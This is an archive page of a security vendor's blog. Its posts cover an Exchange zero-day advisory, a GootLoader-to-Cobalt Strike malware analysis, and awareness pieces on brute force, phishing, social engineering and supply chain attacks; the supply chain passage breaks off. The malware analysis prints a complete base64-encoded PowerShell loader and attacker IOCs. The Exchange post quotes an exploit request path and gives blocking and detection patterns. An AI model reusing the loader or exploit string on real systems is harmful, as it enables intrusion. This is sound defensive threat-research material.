Blog Post Archives

New Unpatched Microsoft Exchange Vulnerabilities - Remote Code Execution Vulnerabilities Allowing Potential Attacker Access

September 30, 2022/in Blog Post/by Adlumin Staff

By: Director of Threat Research, Kevin O’Connor

Microsoft has confirmed a new pair of unpatched vulnerabilities affecting its Exchange mail server platform. Tracked as CVE-2022-41040 and CVE-2022-41082, Microsoft validated the exploits’ existence and confirmed they are actively being used in the wild by malicious actors to compromise systems. This vulnerability is believed only to affect on-premises instances of Microsoft Exchange contained in Microsoft Windows Server 2013, 2016, and 2019, and not cloud-based Microsoft O365 mail applications and services such as Exchange Online, which Microsoft attests has detections and mitigations already in place. Microsoft Exchange Online customers do not need to take any action.

What you Need to Know

Microsoft does not currently have a patch available for the vulnerabilities but recommends that on-premise Microsoft Exchange customers should review and apply URL Rewrite Instructions and block exposed Remote PowerShell Ports. A guide by Microsoft for adding the blocking rule can be found here.

Add A Blocking Rule

Open the IIS Manager.
Expand the Default Web Site.
Select Autodiscover.
In the Feature View, click URL Rewrite.
In the Actions Pane on the right-hand side, click Add Rules.
Select Request Blocking and Click OK
Add the following string and click OK:
- .*autodiscover\.json.*\@.*Powershell.*
Expand the rule and select the rule and click Edit under Conditions
Change the condition input from {URL} to {REQUEST_URI}

Blocking PowerShell Ports

Block the following ports used for Remote PowerShell

HTTP: 5985

HTTPS: 5986

The pair of CVEs are Server-Side Request Forgery (SSRF) (CVE-2022-41040) and Remote Code Execution (RCE) (CVE-2022-41082) vulnerabilities. The SSRF vulnerability can only be used by authenticated attackers suggesting that credentialed or other authorized access is needed to exploit the system. The SSRF vulnerability can then be used to enable the usage of the RCE vulnerability.

The vulnerabilities were uncovered by GTSC, a Vietnamese security company, during monitoring and incident response services in live networks. GTSC detected exploit requests in ISS logs with the same format as the previous 2021 ProxyShell RCE vulnerability:

autodiscover/autodiscover.json?@/&Email=autodiscover/autodiscover.json%3f@

It’s been observed in the wild that the CVEs have been used to drop webshells on exploited Exchange servers, including Antsword, a Chinese opensource cross-platform website administration tool supporting webshell management. The webshell’s codepage is also set to a Microsoft character encoding for simplified Chinese, again suggesting China-based actor involvement. During these exploitation campaigns, attackers leveraging the vulnerabilities also modified the file RedirSuiteServiceProxy.aspx to contain a webshell. GTSC also reported the use of SharPyShell, a small and obfuscated ASP.net webshell for C# web applications.

As part of their Tactics, Techniques, and Procedures (TTPs), attackers exploiting the vulnerabilities have also been observed leveraging the native Windows binary, certutil.exe, to connect to command-and-control infrastructure and retrieve malicious payloads. Some of the commands share similarities with those used by the Chinese Chopper web shell malware. The attackers also leverage in-memory DLL injection and native Windows WMIC systems to execute files.

To identify potential exploitation leveraging these vulnerabilities, administrators can check Microsoft IIS Logs for the following string indicating potential compromise:

powershell.*autodiscover\.json.*\@.*200

Microsoft is currently working to develop a patch for the vulnerabilities; however, Microsoft Exchange administrators should take immediate action to defend systems and search for prior signs of compromise.

Keeping a network secure from zero-day exploitation requires a layered defense-in-depth approach. Externally available services such as email servers continue to be a prime target for exploitation by threat actors. Systems such as Adlumin’s Perimeter Defense capabilities can monitor these external systems for the appearance of exploitation artifacts such as newly opened ports on internet-accessible servers used for remote exploitation interfaces such as PowerShell.

Continuous Monitoring

Adlumin recommends using a Continuous Vulnerability Management (CVM) product to collect the needed data from endpoints to determine if they are running vulnerable versions of Microsoft Windows and Office. CVM software can also be used to identify those assets which have or do not have the official Microsoft mitigation in place. Adlumin also recommends leveraging the business’s SIEM product to continually search and alert for suspicious executions which may be a result of the exploitation of the vulnerability.

Resources

Everything you Need to Know about Tracking GootLoader

September 30, 2022/in Blog Post/by Adlumin Staff

By: Kyle Auer & Kevin O’Connor
Adlumin’s Threat Visibility Team has observed an increase in GootLoader-based malware and identified a possible unified campaign leveraging GootLoader with follow-on Cobalt Strike payloads in attempts to breach U.S. businesses including multiple Adlumin customers.

What is GootLoader?

GootLoader is a presumed access-as-a-service malware ¹, with its developers also being responsible for the GootKit malware as first reported by Dr. Web in 2014 ². GootKit, the actor’s namesake and original toolkit, is distinct from GootLoader in that GootLoader is closer to an initial access capability which leverages follow on stages such as Cobalt Strike, various Ransomware payloads, and potentially GootKit – the latter of which has fallen out of favor since gaining notoriety in 2019 due to infrastructure compromise ³.
As an access-as-a-service malware, the GootLoader operators would be expected to sell direct access to compromised hosts and systems or provide buyers with harvested credentials and access points into a targeted network. A less frequent operation under this model might involve the GootLoader actors loading second-stage payloads as access brokers.

Tracking the Campaign

Adlumin is observing and tracking an active exploitation campaign utilizing GootLoader against U.S. businesses in multiple industries and verticals. What we’ve observed in this campaign is uniform deployment of Cobalt Strike payloads following exploitation and initial access provided by GootLoader. It’s unknown if these Cobalt Strike payloads are used by GootLoader developers to provide direct access to an infected target or used to harvest credentials and other data which is brokered to a buyer for access or exploited in some other way.
Our investigation is tracking an exploitation campaign which we defined based on:

Like to identical initial access and exploit methodologies
Like to identical command and control infrastructure and methodology
Like to identical operations time-frame
Like to identical first-stage “loader” malware, GootLoader
Like to identical second-stage follow-on malware, Cobalt Strike

Campaign Tactics, Techniques, and Procedures (TTPs)

This GootLoader campaign begins its attack by phishing potential victims’ business emails. Unlike other campaigns reported earlier in 2021 and 2022⁴, this campaign has not yet been observed relying on specific SEO poisoning attacks to deliver its payload. We believe the payloads are also not being disguised as legitimate JQuery libraries as previously seen.
It starts with an email…

Figure 1: The Attack Begins with a Malicious JavaScript file contained in a Zip Archive

The first stage in the campaign against a target is a simple phishing email. These emails have an attached Zip archive, which contains a JavaScript payload the victim is tricked in to running after opening. This JavaScript payload is executed by a Windows Operating System native binary, Windows Script Host (wscript.exe), which is a legitimate application typically used for logon scripts, administration, and automation and provides an execution environment in which the script can run. Our team believes that the JavaScript payload is delivered via a compressed archive to help mitigate detection by email and malware scanners.

GootLoader_Image_2

Figure 2: JavaScript is executed by wscript.exe

GootLoader will then use this wscript.exe executing JavaScript to download an additional JavaScript resource which is loaded by the original calling wscript.exe process. This secondary exploitation payload is responsible for persisting two separate payloads.

GootLoader_Image_3

Figure 3: wscript.exe retrieves payloads from Command and Control Server

Persistence

GootLoader will use its secondary JavaScript payload to write two registry keys to the Window’s Current User registry hive (HKCU). In this tracked campaign the two registry keys were stored in:

HKCU:\\Software\Microsoft\Phone\user0
HKCU:\\Software\Microsoft\Phone\user

GootLoader_Image_4

Figure 4: wscript.exe runs PowerShell to persist malware as a task, and writes encoded payloads to registry

Kick-Off

After having saved the next two stages to the registry, the wscript.exe process will execute PowerShell to run PowerShell commands which will kick-off the first-stage malware implant. To help evade detection by security software, the executed PowerShell commands make use of multiple evasion techniques including

Base64 Encoding the Command
Command abbreviation
Variable substitution
String concatenation
- MwA1ADEANAA5ADcAOAA5ADsAcwBsAGUAZQBwACAALQBzACAANwA4ADsAJABqAHQAPQBHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBwAGEAdABoACAAKAAiAGgAawAiACsAIgBjAHUAOgBcAHMAbwBmACIAKwAiAHQAdwAiACsAIgBhAHIAZQBcAG0AaQBjACIAKwAiAHIAbwBzACIAKwAiAG8AZgB0AFwAUABoAG8AbgBlAFwAIgArAFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6ACgAIgB1AHMAZQAiACsAIgByAG4AIgArACIAYQBtAGUAIgApACsAIgAwACIAKQA7AGYAbwByACAAKAAkAHMAdQBzAD0AMAA7ACQAcwB1AHMAIAAtAGwAZQAgADcAMAAwADsAJABzAHUAcwArACsAKQB7AFQAcgB5AHsAJABzAGEAKwA9ACQAagB0AC4AJABzAHUAcwB9AEMAYQB0AGMAaAB7AH0AfQA7ACQAcwB1AHMAPQAwADsAdwBoAGkAbABlACgAJAB0AHIAdQBlACkAewAkAHMAdQBzACsAKwA7ACQAawBvAD0AWwBtAGEAdABoAF0AOgA6ACgAIgBzAHEAIgArACIAcgB0ACIAKQAoACQAcwB1AHMAKQA7AGkAZgAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewBiAHIAZQBhAGsAfQB9ACQAaABpAHQAPQAkAHMAYQAuAHIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACQAawBvACkAOwAkAGUAagB2AD0AWwBiAHkAdABlAFsAXQBdADoAOgAoACIAbgBlACIAKwAiAHcAIgApACgAJABoAGkAdAAuAEwAZQBuAGcAdABoAC8AMgApADsAZgBvAHIAKAAkAHMAdQBzAD0AMAA7ACQAcwB1AHMAIAAtAGwAdAAgACQAaABpAHQALgBMAGUAbgBnAHQAaAA7ACQAcwB1AHMAKwA9ADIAKQB7ACQAZQBqAHYAWwAkAHMAdQBzAC8AMgBdAD0AWwBjAG8AbgB2AGUAcgB0AF0AOgA6ACgAIgBUAG8AQgAiACsAIgB5AHQAZQAiACkAKAAkAGgAaQB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdQBzACwAMgApACwAKAAyACoAOAApACkAfQBbAHIAZQBmAGwAZQBjAHQAaQBvAG4ALgBhAHMAcwBlAG0AYgBsAHkAXQA6ADoAKAAiAEwAbwAiACsAIgBhAGQAIgApACgAJABlAGoAdgApADsAWwBPAHAAZQBuAF0AOgA6ACgAIgBUAGUAIgArACIAcwB0ACIAKQAoACkAOwA3ADQANAA0ADkAMQA3ADIAOwA=

Decoding from Base64 and encoding with UTF-16LE we can see the commands contents:

GootLoader_Image_5

Figure 5: Decoded PowerShell Command Loading Stage 1 Implant

This command will grab the contents of the first registry key, HKCU:/SOFTWARE/Microsoft/phone/$USERNAME0, decode the encoded .NET DLL it contains, and then run the Test() function contained in the DLL us as an execution start point.

Obtaining Decoded Stage-1

To get the malware to drop the DLL unencoded for further analysis rather than directly loading and calling it via PowerShell, we modified the executed PowerShell command to write the contents to a file by appending the following before the last SLEEPfunction.

+> Set-Content $PATH -Value $ejv -Encoding Byte

This allowed us to analyze this first-stage implant to identify that the Test() function was being used to load the second-stage implant.

GootLoader_Image_6

Figure 6: PowerShell.exe decodes the GootLoader implant which decodes and runs the secondary payload, Cobalt Strike

Second Stage Payload

The second payload and malware implant used by GootLoader in this campaign is Cobalt Strike. The second registry key written in the earlier stage to HKCU:\..Phone\$USERNAME contains an encoded Cobalt Strike beacon. When the first-stage’s Test() function is executed, it decodes, loads, and executes the Cobalt Strike beacon into memory.

To analyze the Cobalt Strike beacon we modified the retrieved first payload which loads the beacon, to instead write the beacon unencoded to disk for retrieval and analysis. We did this by adding additional library imports used for writing a file and adding a main function which will call the Test() loader.

GootLoader_Image_7

Figure 7: Adding additional imports to 1st Stage Malware Implant

GootLoader_Image_8

Figure 8: Adding function to call the 2nd Stage DLL’s Test() function

We then created a BinaryWriter object and comment out some of the lines which would execute the Cobalt Strike beacon.

Figure 9: Modifying 1st stage to prevent 2nd stage execution and retrieve decoded 2^nd stage

After building and running the code, we obtained the decoded second-stage Cobalt Strike payload.

Extracting Campaign IOCs from Cobalt Strike

Cobalt Strike is a paid penetration testing software which includes configurable malware implants that are often repurposed for use in real malware operations and infections. The Cobalt Strike beacon provides functionality for the attacker including command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained^[5].Cobalt Strike has exploded in popularity in usage by cyber-criminals^[6], and is a perfect launching platform for continued attacks or access transfer.

Once we had the decoded Cobalt Strike beacon written to disk, we were able to use public decoders to extract Cobalt Strike configuration information such as command and control addresses. We used the Python-based Cobalt Strike Configuration Extractor and Parser which can be found on GitHub, here.

Figure 10: Decoded Cobalt Strike Beacon Payload

This allowed us to obtain the malware command and control infrastructure used by the attackers to control the Cobalt Strike implant.

Figure 11: Cobalt Strike is run and beacons to Cobalt Strike command and control server

Summary & Future Reads

Once Adlumin’s Threat Visibility Team had the initial payload, follow-on implant stages, and leads on command-and-control infrastructure, we quickly created detections for our MDR platform, which merges data from multiple security relevant data sources including the endpoint and installed security software. These detections caught subsequent attacks from the same campaign and identified some historical retroactive activity. Some key defenses and mitigations for the campaign include:

Adequate phishing mitigation and attachment scanning solutions
Monitoring of wscript.exe executions of JavaScript files from compressed archives
Monitoring of PowerShell executions, especially of encoded commands, which have a parent process of wscript.exe
Implementing a Proactive Defense program that is equipped with fully managed security awareness testing and training, designed to empower employees to recognize and reduce the risk posed by cybercriminals.

Additionally, Adlumin is sharing the following indicators used in this campaign with the community:

93[.]115[.]29[.]50
hxxps://streamlock[.]net

We’d also like to share the below Sigma rule to help identify possible exploitation activity:

title: GootLoader Zipped JS WScript
id: 37d82863-216a-41a3-a4de-b09cea08eb92
action: global
status: experimental
references:
– https://adlumin.com
date: 2022/09/26
tags:
– attack.execution
– attack.t1059
author: Adlumin, Kyle Auer, Kevin O’Connor
detection:
condition: selection
level: medium
logsource:
category: process_execution
product: windows
detection:
selection_1:
Image|endswith:
– ‘\powershell.exe’
ParentImage|endswith
– ‘\wscript.exe’
selection_2:
Image|endswith:
– ‘\wscript.exe’
selection_3:
CommandLine|all:
– ‘*AppData*’
– ‘*zip*’
– ‘*.js*’
condition: (selection_1 or selection_2) and selection_3

Make sure to follow Adlumin for follow-up posts where we’ll dive deeper into the actor’s infrastructure and operations!

Resources:

Your Guide to Detecting Access Failure Incidents

September 29, 2022/in Blog Post/by Adlumin Staff

By: Data Scientists Bronwen Cohn-Cort and Shaul Saitowitz

Usernames and passwords are keys to computer systems and networks, but they are often inadequate for keeping intruders out. Even additional layers of authentication can be compromised. Adlumin keeps its customers safe by monitoring networks for suspicious break-in attempts and authentication malfunctions.

Brute Force, but Not with a Crowbar

Hackers use scripts or applications such as THC Hydra to submit many guesses for user credentials – a brute force attack. Guessing tactics range from a simple systematic approach to using external logic to prioritize the most likely combinations.

Any asset that uses credentials is vulnerable to brute force attacks, from user accounts to VPNs or network switches. Each of these represents different risks. Cracking a network switch could allow the attacker to access any traffic flowing through that switch and even make changes to the switch itself. Breaking into a VPN would give access to the network and anything else authorized for the connection.

Access Failure Chart Adlumin

Figure 1: Counts of Failed Office365 Logins

Adlumin monitors all incoming logs for our tenants, looking for evidence of brute force attacks at all possible entry points. Suspicious numbers of failed logins over a short interval indicate that an attacker attempts to break in by trying many password permutations. This triggers an alert, notifying the customer of the break-in attempt so that protective action can be taken.

The Deadbolt

Often used in conjunction with password logins, Multi-factor Authentication (MFA) service providers allow users of a subscribing client to authenticate via other methods, thereby adding another layer of security. One standard additional layer is a Possession Factor, where a user enters a 6-digit code sent as a text message, email, or given by an authenticator app to an account or device to which only the user has access. In the MFA context, a password can be classified as a Knowledge Factor; thus, these two factors (Knowledge and Possession) authenticate the user. This is also called 2-Factor Authentication (2FA). Enabling MFA or 2FA across all users is a simple step to improving security and delaying attackers or keeping them out of a system.

Adlumin authentication Diagram

Figure 2: Disruptive situations around MFA credentials

Adlumin Data Science is developing a detection for disruptions in a client’s MFA service – incidents that can challenge business continuity or represent even more insidious threats. The approach involves reviewing the number of users unable to access their account via MFA within a specific period. As described earlier in this article, this activity could be an attacker attempting brute force methods to access the system by logging in to multiple user accounts and looking to gain access via a user that hasn’t enabled MFA. This activity could also be that the MFA service provider is compromised or has otherwise experienced an incident that impacts credential authentication, leading to many users being locked out of their accounts. In both instances of MFA credentials being denied or resulting in the locking-out of users, the client’s business is disrupted.

Adlumin Data Science’s development of detection based on identifying an unusual number of users experiencing lockouts or having credentials denied over a specific period would warn clients that use MFA service providers of a possible impending disruption or attack.

Warning of Possible Disruptions

Whether caused by a brute force attack or a compromised MFA service provider, Adlumin Data Science monitors for a suspicious or unusual amount of credential activity for network switches, user accounts, or other credentialed locations. Adlumin’s identification of such a disruption or break-in attempt warns customers to take protective action.

Could you be the Next Bait for a Phishing Attack?

September 22, 2022/in Blog Post/by Shannon Flaherty

By:
Krystal Rennie, Director of Corporate Communications,
and Brittany Demendi, Corporate Communications Manager

Have you ever received an email informing you that you’ve won an all-expense paid trip to the Bahamas in a raffle you never entered? Or received an email from a streaming service notifying you that your credit card was rejected and to click on the link to update your payment method? You’ve been exposed to a form of phishing. These are examples of email phishing, which use tactics that are untargeted but appear everywhere. By comparison, more targeted versions of phishing are more dangerous and can lead to identity theft, unauthorized access to sensitive data, or the defrauding of funds.

To an organization, phishing is always a severe risk. Phishing is an early-stage and reliable tactic used by hackers to gain access to networks as a part of a larger attack. For example, if you’ve been mentoring a graduate student for weeks and they send you an academic survey would you open it? If your CFO receives formal notification of a lawsuit from a competitor, would you contact the law firm? If your IT department sends a message about service upgrades that require a new log in, would you follow the instructions? These can all examples be examples of phishing.

Cybercriminals commonly use phishing to lure potential victims into performing harmful actions that could put your organization’s data at risk. This technique is the art of manipulating people to give up confidential information by either typing their login credentials to a fake company website or clicking a malicious attachment they thought was an invoice. Because phishing is effective and straightforward, cybercriminals launch thousands of attacks daily and can often be successful.

Five Most Common Types of Phishing Attacks

Regardless of the type of organization, large or small, they will be targeted by cybercriminals attempting a phishing attack. Phishing attacks are getting more difficult to spot, as some attacks will even surpass the most observant employees. Education on these different types of phishing attacks is essential. Below are five common types of phishing attacks:

Spear-Phishing is a targeted attack that aims to steal sensitive data from a specific organization or individual. Cybercriminals lure in the victims with personal information specific to the organization or the employee to seem more legitimate.
Vishing is a phishing attack that occurs over the phone. Calls are usually made using a spoofed ID to make it seem safe to answer. As an example, a hacker could pose as a representative at your bank or credit union and call to alert you that there has been questionable activity on your account. Once they’ve gained your trust, the hacker will ask for your personal account information and can use that information to commit identity fraud.
Whaling is a cyberattack that includes a high-level choice of target in an attempt to steal and misuse private, personal information of senior management at a company/organization. Whaling occurs in the form of emails that are more sophisticated than phishing and are often harder to recognize due to their use of elite corporate language. The email will include personalized information about the target or organization.
Smishing uses SMS to text personal information like credit card information, passwords, and more to appear legitimate and acquire additional information. The text message usually includes a call to action to demand an immediate response or reaction.
Clone Phishing involves receiving a spoofed email that looks identical to one sent by someone you already received emails from. The spoofed email is malicious however, and contains new information along with malicious links or attachments.

Consequences of a Successful Attack

Although the types of phishing attacks vary regarding risk levels, one thing they all have in common is the power to damage a business. Below are a few possible results of a successful phishing attack:

Unauthorized transactions
Password and username manipulation
Account takeovers
Identity theft
Credit card theft
Stolen data
Stolen funds
Sensitive data sold to third parties

These are just a few examples of what could become compromised when these attacks occur. Companies must invest in the proper Managed Detection and Response platform and Proactive Defense Program to help protect sensitive information and train employees on security awareness.

Be Proactive Against Phishing Attacks, Not Reactive

Equipping employees with the proper knowledge is the best defense when protecting an organization’s data and assets from phishing attacks. In 2019, a major healthcare company reported that one of its employees stopped a phishing attack within 19 minutes, according to Comparitech. Their employee said that they received suspicious emails, and their Security Operations Center was able to take care of it immediately. Creating a security culture within every department, not just IT, is vital.

As phishing emails become harder to detect, investing in security awareness training like a Proactive Defense Program will be the main differentiator between robust risk management plans from the weak ones. The truth is that phishing attacks’ future depends on many factors. Cybercriminals are discovering new ways to step their game up daily and have become more sophisticated with their attacks. That said, it is up to the rest of us to find new ways to combat their tactics. At the end of the day, there is too much at stake if we do not think multiple steps ahead of cybercriminals.

Five Unique Tactics of Social Engineering Attacks

September 15, 2022/in Blog Post/by Shannon Flaherty

By: Krystal Rennie, Director of Corporate Communications, and Brittany Demendi, Corporate Communications Manager

Five Unique Tactics of Social Engineering Attacks is a part of Adlumin’s Cyber Blog content series. For more information about how your organization can protect itself from cybercriminals, browse more from our knowledge-rich series here.

As cybercriminal organizations and state-sponsored actors grow in sophistication and capability, they remain loyal to the simple tactics and techniques that deliver results. “Social Engineering” might not carry the glamor of a technical zero-day malware attack, but it works. Social engineering works so well that 90% of cyberattacks on organizations involve some form of the tactic, according to KnowBe4. Employees are then vulnerable to influence and often become unwitting accomplices in a cybercrime.

Social Engineering is when “an attacker uses human interaction (social skills) to obtain or compromise information about an organization or its computer systems. An attacker may seem unassuming and respectable, possibly claiming to be a new employee, repair person, or researcher and even offering credentials to support that identity.”

Cybersecurity & Infrastructure Security Agency (CISA).

Social engineering tactics can take multiple forms, from collecting publicly available information on social media to conducting search engine analysis. Fundamentally, these tactics identify valuable tools and information that potential victims might seek and be more likely to interact with. Social Engineering is about gaining a user’s trust.

Social engineering strategies can involve fake emails and websites that look authentic and can fool the entire spectrum of employees. Everyone can be a target, from engineers to sales and marketers, finance admins, and senior executives. Social engineering aims to manipulate a target user into revealing sensitive data about their business or personal information. This stolen information can create a phishing campaign that looks authentic. These attacks seek to gain information and can take many different forms, making it harder to pinpoint the cybercriminal’s entry point.

Five Common Tactics of Social Engineering

Scareware: An attack that bombards victims with false alarms and fictitious threats about their devices. Victims are misled to think that their systems are infected with malware, prompting them to install malicious software or malware itself. In one of the most extreme cases, following a massive credit theft from a major retailer, cardholders were contacted through phone calls and asked to update their security measures. Of course, the calls came from cybercriminals collecting victims’ PINs and passwords.
Baiting: A form of social engineering that incentivizes users to take action the attacker wants. These attacks often include offers of gifts, exclusive offers, courier packages, and other well-known “lures.” Engaged users give up their personal information or sign up for fictitious accounts, exposing their passwords. Since passwords are often recycled across multiple accounts, this can create a severe breach and risk to the organization. Rarely can baiting even use physical media like flash drives. Dropped in the employee parking lot, an unassuming individual may accidentally release malware once installed on a company computer.
Pretexting: In this form of social engineering, attackers approach victims requesting sensitive information necessary to complete a critical task or service. Appearing as friendly actors, these criminals solicit data about the victim using various motivators like tax refunds, payments, deliveries, or business-related projects.
Spear Phishing: These attacks target individuals with roles within the company, seniority, rank, authority, and access to critical systems. They often target professionals such as lawyers, doctors, or engineers presented with fake license complaints and lawsuits. In other cases, executives were targeted with emails and branded file shares containing lawsuit filings, the basis of which was stolen from publicly available court filings and stolen litigation material. Spear Phishing is perhaps one of the most challenging forms of engineering because it is extremely difficult to distinguish from legitimate traffic and communications.
Quid Pro Quo: This type of attack centers around an exchange of service or information convincing the victim to act. Typically, the cybercriminal will promise rewards or leverage implicit work motivations to the victim for information that can be used to steal money or take control of a company account or data. One of the most common examples is when the cybercriminal poses as an IT employee asking for or offering technical support.

Many social engineering schemes happen daily. Like all strategies, some techniques are more well-known than others. However, unlike other cyberattacks, human interaction is a critical component of social engineering, which should make you think more carefully about your daily interactions on the internet. These attacks underline the importance of understanding that attacks are much harder to identify and often dupe employees in the early stages of a much larger cyber campaign.

Training is Key to Proactive Defense Against Social Engineering

Employees are your organization’s first line of defense regarding protection from social engineering methods. If employees are not appropriately trained against these tactics, your security software can only defend you until someone clicks on a malicious link.

Yes, there are ways to hunt these threats before they take over your IT network, but it’s best to think proactively and put the fire out at the source. Finding and implementing the right Proactive Defense Program will empower employees with skills to find and report suspicious activity. These are not just one-off sessions that overwhelm employees with the information they soon will forget. It’s consistent training that creates a positive cybersecurity culture within the organization.

Training needs to be persistent and delivered in small doses throughout the year for information retention. Proactive Defense Programs use real-life de-weaponized attack campaigns to test employees. In addition, implementing training ensures your organization complies with set industry regulations and set policies and tracks and trains high-risk users.

What’s Next?

Now that you have this new information, you might wonder, what’s next? The best advice when attempting to combat social engineering threats is to know the signs and prioritize implementing a Proactive Defense Program throughout your company. Social engineers manipulate feelings and human logic to lure victims into their traps. As a result, we must be wary of what we open, click, and interact with while navigating our online experiences. Always remain alert and trust your gut instinct; if something doesn’t feel right, nine times out of ten, it isn’t right.

Smart Manufacturing: Industry 4.0 Meets Cybersecurity

August 25, 2022/in Blog Post Brittany Demendi/by Jon Franks

Smart Manufacturing: Industry 4.0 Meets Cybersecurity is a part of Adlumin’s Cyber Blog content series. For more information about how your organization can protect itself from cybercriminals, browse more from our knowledge-rich series here.

Manufacturing sectors have changed significantly over the past decade with the adoption of IT-based automation. Embedded sensors, cloud computing, centralized management systems, and even artificial intelligence have all made significant impacts. The “Fourth Industrial Revolution” (or “Industry 4.0”) now connects factory floors and supply chain elements through industrial IoT and execution systems. In turn, these tied to enterprise resource management and critical business intelligence services.

In previous years, cyber threats have mostly ignored manufacturing systems. Instead, hackers have been focused on many other industries, and manufacturing has rarely been a part of the conversation. In the past, manufacturers were only connected within a single network of one organization with limited internet. This made it difficult to connect with other organizations and people, but also protected them from cyber attacks.

The Challenge: Digital Transformation

This digital disruption in manufacturing expands both opportunity and risk. Industry 4.0 offers streamlined operations and optimized production. Still, industry 4.0 offers parallel risks in that cyber threats are also more streamlined and can do more damage. The result of a cyber attack can yield massive criminal payoffs, orders of magnitude more than they could even five years ago.

Headline-grabbing breaches and massive operational shutdowns demonstrate that all manufacturing sectors are vulnerable. Criminal groups like Sodin (REvil) regularly target manufacturers with ransomware designed to cause total operational disruptions and sell stolen data (financial records and proprietary intellectual property) on the Dark Web. Let’s look at one of the biggest cyber-attacks in manufacturing as an example:

The Renault-Nissan Cyber Attack

In 2017, the WannaCry ransomware attacks stole headlines for being one of the first worldwide cyber-attacks- affecting computers in hundreds of countries. WannaCry ransomware is a worm that exploits vulnerabilities in the Windows operating system. France’s Renault and the Japanese partner Nissan were temporarily forced to pause manufacturing at some of their European plants. Some speculate that losses were as high as $4 billion. The attack was triggered by phishing emails containing attachments with job offers, invoices, and other variations. The WannaCry attack targeted computers within organizations with older software versions with known security flaws. Microsoft released a patch (MS17-010) to remedy the situation to mitigate the vulnerability. To shed the proper light on risks within an IT environment, organizations should move towards continuous vulnerability management (CVM) practices.

Illuminating Tip: Often, remediating vulnerabilities requires expertise beyond the deployment of a simple patch. Explore what Adlumin’s cybersecurity experts say about >>> Continuous Vulnerability Management – Complexities of the Remediation Process.

The Solution: Build Resilience in the Age of Industry 4.0

It is essential for manufacturers to properly assess their cyber risk, especially when embracing Industry 4.0. Industry 4.0 comes with risks and opportunities, making manufacturers a hot target for cybercriminals. There is not one single product, patch, or quick fix that a manufacturer can apply to address the threats and risks. That is why vulnerability management is continuous and takes a proactive approach to find and fixing any vulnerabilities. Here is what CVM steps look like for manufacturers:

CVM Lifecycle for Manufacturers

Discover and identify security vulnerabilities on a regular automated schedule. Take inventory of all assets across the network and identify host details, including an operating system and open services.
Categorize and prioritize assets into business units or groups.
Assess and determine the risk profile to eliminate risks based on vulnerability threat.
Measure and report the level of business risk associated with your assets concerning your set security policies.
Prioritize and remediate the vulnerabilities identified by prioritization to risk.
Verify that the threats have been eliminated via follow-up audits.

Many organizations turn to third-party vendors to help and facilitate CVM, as it is vital for any manufacturer to run smoothly and avoid ransomware attacks like WannaCry. The digital processes presented by Industry 4.0 will only grow more connected, vulnerable, and integrated in the future. Manufacturers must rethink their disaster recovery and response plans by taking a proactive approach. The need to address the cyber risk landscape has never been greater.

Additional Resources

The Importance of Proactive Security

Download this white paper to understand the difference between proactive and reactive security measures, discover the business benefits of being proactive, learn how to advance both your bottom line and your information security, and more.

CTA: Download Now

Link: https://adlumin.com/resource/the-importance-of-proactive-security/

The Ultimate Guide to Malware

With malware attacks increasing yearly, it is imperative to arm your network with proactive solutions coinciding with reactive solutions. Take the first steps, download this ultimate guide, and learn about 13 of the most common types of malware and how to be proactive.

CTA: Download Now

Link: https://adlumin.com/resources/download-form/the-ultimate-guide-to-malware/

Zero-Day Vulnerability Discovered: Google Chrome’s Fifth Zero-Day Exploit This Year

August 19, 2022/in Blog Post Richard Hamrick/by Adlumin Staff

Update Chrome now to patch actively exploited zero-day

Google announced an update on Wednesday to the Stable channel of its Chrome browser that includes a fix for an exploit that exists in the wild. It’s the fifth Chrome zero-day patched by Google this year.

What You Need to Know

CVE-2022-2856 is a fix for “insufficient validation of untrusted input in Intents,” according to Google’s advisory. Intents are typically a way to pass data from inside Chrome to another application, such as the share button on Chrome’s address bar. Google says the update—104.0.5112.101 for Mac and Linux and 104.0.5112.102/101 for Windows—will “roll out over the coming days/weeks.” There are 10 other security fixes included in the update, and Dark Reading notes that this is Chrome’s fifth zero-day vulnerability disclosed in 2022.

With an un-patched version of Google Chrome, the CVE-2022-2856 exploit can ultimately lead to arbitrary code executions from malicious websites. As noted by the MITRE Corporation, “When software does not validate input properly, an attacker can craft the input in a form that is not expected by the rest of the application.” The practicality of this leads to altered control flow. The malicious site could then retrieve sensitive data/files from the user’s system or even tamper with application components to contaminate arguments. For example, an un-patched browser can be tricked into displaying fake or corrupted files to the end-user, who believes it is their own legitimate file URI and opens/uploads data which is then sent to the attacker.

A similar exploit, designated as CVE-2019-13707, was first published on 11/25/2019 and was yet another Google Chrome vulnerability, affecting Android devices prior to 78.0.3904.70. Carrying the “Insufficient validation of untrusted input in intents” description, this exploit acted in the same manner as CVE-2022-2856. Google’s solution to this included a simple update of the Chrome browser.

Continuous Monitoring is Critical

Understanding Supply Chain Attack Vulnerabilities and Attack Surface

August 18, 2022/in Blog Post Kevin O’Connor/by Adlumin Staff

In 537 A.D., while laying siege to Rome, the Ostrogoths cut the aqueducts supplying the ancient city with the water and power needed to run grain mills that kept the city fed. During World War II, German U-boat campaigns damaged America and her allies by limiting the free movement of goods needed to fuel the continued war effort. More recently, the United States has placed sanctions and embargos on Russia to limit the country’s ability to acquire goods abroad in order to hinder their efforts and help end Russia’s war against Ukraine.

These examples from across history are called Supply Chain Attacks. Supply Chain Attacks are aggressions meant to harm a target by attacking their network of organizations, people, activities, information, and resources used in creating and delivering goods or services. With the transformation to the digital age, supply chain attacks have become harder to defend against cyber-attackers.

The key to a cyber supply chain attack is to target upstream IT services, where the victim has less control and insight over a system’s security attributes. Targeting upstream digital resources is also attractive because third-party vendors, software, and other systems might be considered less valuable to an organization and, therefore, less protected targets. Targeting the upstream supply chain can also provide the aggressor with efficient methods of attack, by offering multiple ways to access victims through targeting a common shared vendor, source, or technology.

The Adlumin Threat Research Team categorizes supply chain threats and cyber-attacks into multiple categories depending on the TTPs and the apparent operational objectives of the attacker. In this article, we’ll walk through some of the most common and dangerous types of supply chain attacks.

Vendor Access Attack: Target Data Breach

An upstream vendor access attack is when an attacker engages in cyber supply chain operations to gain access to a target through a partner, vendor, client, or anyone outside the company with access to enterprise resources.

